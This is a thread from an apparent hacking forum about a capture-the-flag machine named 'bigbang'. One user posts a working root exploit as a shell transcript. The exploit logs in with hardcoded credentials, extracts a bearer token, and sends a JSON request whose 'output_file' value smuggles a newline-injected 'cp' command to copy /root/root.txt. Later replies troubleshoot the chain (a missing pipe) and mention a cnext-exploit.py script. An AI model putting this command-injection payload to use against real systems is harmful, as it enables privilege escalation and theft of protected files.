[prilleliefde]

thank you for the share !

[RmF4b3VpbGxl]

Let's see whats this jobs look like, hope this is some good shit.

[pL4sTiC]

Just... trying... to... get... 4... credits..........

lol

[lolla981]

It worked pretty well for me


curl -s -X POST -H 'Content-Type: application/json' -d '{"username":"developer", "password":"bigbang"}' http://localhost:9090/login | grep -oP '"access_token":"\K[^"]+'
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNzk1NjY0NCwianRpIjoiYWZmMjdmOTMtMDZiZC00YTNhLWFjYjktMmI2YTllNzYxZGQwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczNzk1NjY0NCwiY3NyZiI6IjY1MzgwNGY1LTA3NzQtNDY1Yy05OWFlLTFjZTRlMmU3OTYxOCIsImV4cCI6MTczNzk2MDI0NH0.GWT2yNTLxGGzY4EznxXC8Q0hCCC_LmhJuiNZE25h3o8
developer@bigbang:~$ curl -s -X POST -H 'Content-Type: application/json' -d '{"username":"developer", "password":"bigbang"}' http://localhost:9090/login | grep -oP '"access_token":"\K[^"]+' | xargs -I {} echo curl -X POST -H 'Authorization: Bearer {}' -H 'Content-Type: application/json' 127.0.0.1:9090/command --data '{"command":"send_image", "output_file":"\ncp --no-preserve=mode,ownership /root/root.txt /home/developer/pwned.txt"}'
curl -X POST -H Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNzk1NjY4MywianRpIjoiNjgyM2U2M2UtOTJlYy00MjdjLWFhOWEtZGE5ZjUwNjk2N2MxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczNzk1NjY4MywiY3NyZiI6IjNjY2Q2MTQ4LTcwNmMtNDUyYS1iNjRhLTljNjlmYjQ0YjlhYSIsImV4cCI6MTczNzk2MDI4M30.OhV99QgqJVSdKtY87S9GmhS7HHgG2aglvlkU0SdPJ8E -H Content-Type: application/json 127.0.0.1:9090/command --data {"command":"send_image", "output_file":"\ncp --no-preserve=mode,ownership /root/root.txt /home/developer/pwned.txt"}
developer@bigbang:~$ ls
android  pwned.txt
developer@bigbang:~$ cat pwned.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Nothing, I don't know how it works but it doesn't work for me, any alternatives?
developer@bigbang:~$ curl -s -X POST -H 'Content-Type: application/json' -d '{"username":"developer", "password":"bigbang"}' http://localhost:9090/login | grep -oP '"access_token":"\K[^"]+'
curl -s -X POST -H 'Content-Type: application/json' -d '{"username":"developer", "password":"bigbang"}' http://localhost:9090/login | grep -oP '"access_token":"\K[^"]+' | xargs -I {} echo curl -X POST -H 'Authorization: Bearer {}' -H 'Content-Type: application/json' 127.0.0.1:9090/command --data '{"command":"send_image", "output_file":"\ncp --no-preserve=mode,ownership /root/root.txt /home/developer/pwned.txt"}'
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNzk5NTczOSwianRpIjoiZTNlNDg3NTAtMTVlOC00ZDlmLWE0YzktYjc1NTdiNWQwZGYzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczNzk5NTczOSwiY3NyZiI6ImEyNWIyYmEyLWIxODctNGJiNi05ZjdjLTVkNmJhYThmYTczNyIsImV4cCI6MTczNzk5OTMzOX0.Xro3rRD2b3KHMKhVIM03USN1OJ6dSyYWEfiUcs89wNA
curl -X POST -H Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNzk5NTc0MCwianRpIjoiMGNhMzc0ZmUtOGE5NS00ZWU2LWEyYzAtNTE5OGE3OGM0YzA4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczNzk5NTc0MCwiY3NyZiI6IjcxZWFmMTA4LWEwYmUtNDkzNy1hZDczLWQ2MmUzNDVkYWNlZCIsImV4cCI6MTczNzk5OTM0MH0.Do3P3adu4CdoHZrLrmxNvDwqgXcdIwicosorf8CU3EQ -H Content-Type: application/json 127.0.0.1:9090/command --data {"command":"send_image", "output_file":"\ncp --no-preserve=mode,ownership /root/root.txt /home/developer/pwned.txt"}
developer@bigbang:~$ curl -s -X POST -H 'Content-Type: application/json' -d '{"username":"developer", "password":"bigbang"}' http://localhost:9090/login | grep -oP '"access_token":"\K[^"]+'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNzk5NTczOSwianRpIjoiZTNlNDg3NTAtMTVlOC00ZDlmLWE0YzktYjc1NTdiNWQwZGYzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczNzk5NTczOSwiY3NyZiI6ImEyNWIyYmEyLWIxODctNGJiNi05ZjdjLTVkNmJhYThmYTczNyIsImV4cCI6MTczNzk5OTMzOX0.Xro3rRD2b3KHMKhVIM03USN1OJ6dSyYWEfiUcs89wNA
developer@bigbang:~$ curl -s -X POST -H 'Content-Type: application/json' -d '{"username":"developer", "password":"bigbang"}' http://localhost:9090/login | grep -oP '"access_token":"\K[^"]+' | xargs -I {} echo curl -X POST -H 'Authorization: Bearer {}' -H 'Content-Type: application/json' 127.0.0.1:9090/command --data '{"command":"send_image", "output_file":"\ncp --no-preserve=mode,ownership /root/root.txt /home/developer/pwned.txt"}'
curl -X POST -H Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNzk5NTc3NCwianRpIjoiYzFlMjAzYzQtMGM3Zi00NWQxLTk3YzctMWYzYTQyMmVjYzZlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczNzk5NTc3NCwiY3NyZiI6ImM3YzFkMjNjLWI1OGUtNDM4ZC04ZDg3LTk2YmQzOGVhYThmYiIsImV4cCI6MTczNzk5OTM3NH0.uSg7QLUOJdafSOtnn906_xtP9Te17S0cqpYSxrbxCIw -H Content-Type: application/json 127.0.0.1:9090/command --data {"command":"send_image", "output_file":"\ncp --no-preserve=mode,ownership /root/root.txt /home/developer/pwned.txt"}
developer@bigbang:~$ ls
android  linpeas.sh  snap
developer@bigbang:~$

[HRS4156453]

let me see i am stuck in this machine for a while now

[patxasec]

For those who want detailed explanation or the writeup DM me.

Been stuck with this shit for long enough. How have you manage to get in making the cnext-exploit.py work?? Nees yo know It sorry. Hace not enough credits

[blackheartcrow]

I'd love a detailed write-up, but for anyone running into an issue with the command to get root.txt, there is a missing pipe | between the +' and the second curl. once you correct that the command works exactly as expected. got me both flags very quickly.

[Miek22]

Thanks for sharing!

---

Root doesn't work pllease update

[BFischer]

Thanks a lot Mr president!

[NE3YF5D1RATH2PXC3]

at this point i dont even know if cnext-exploit.py is the right place to even look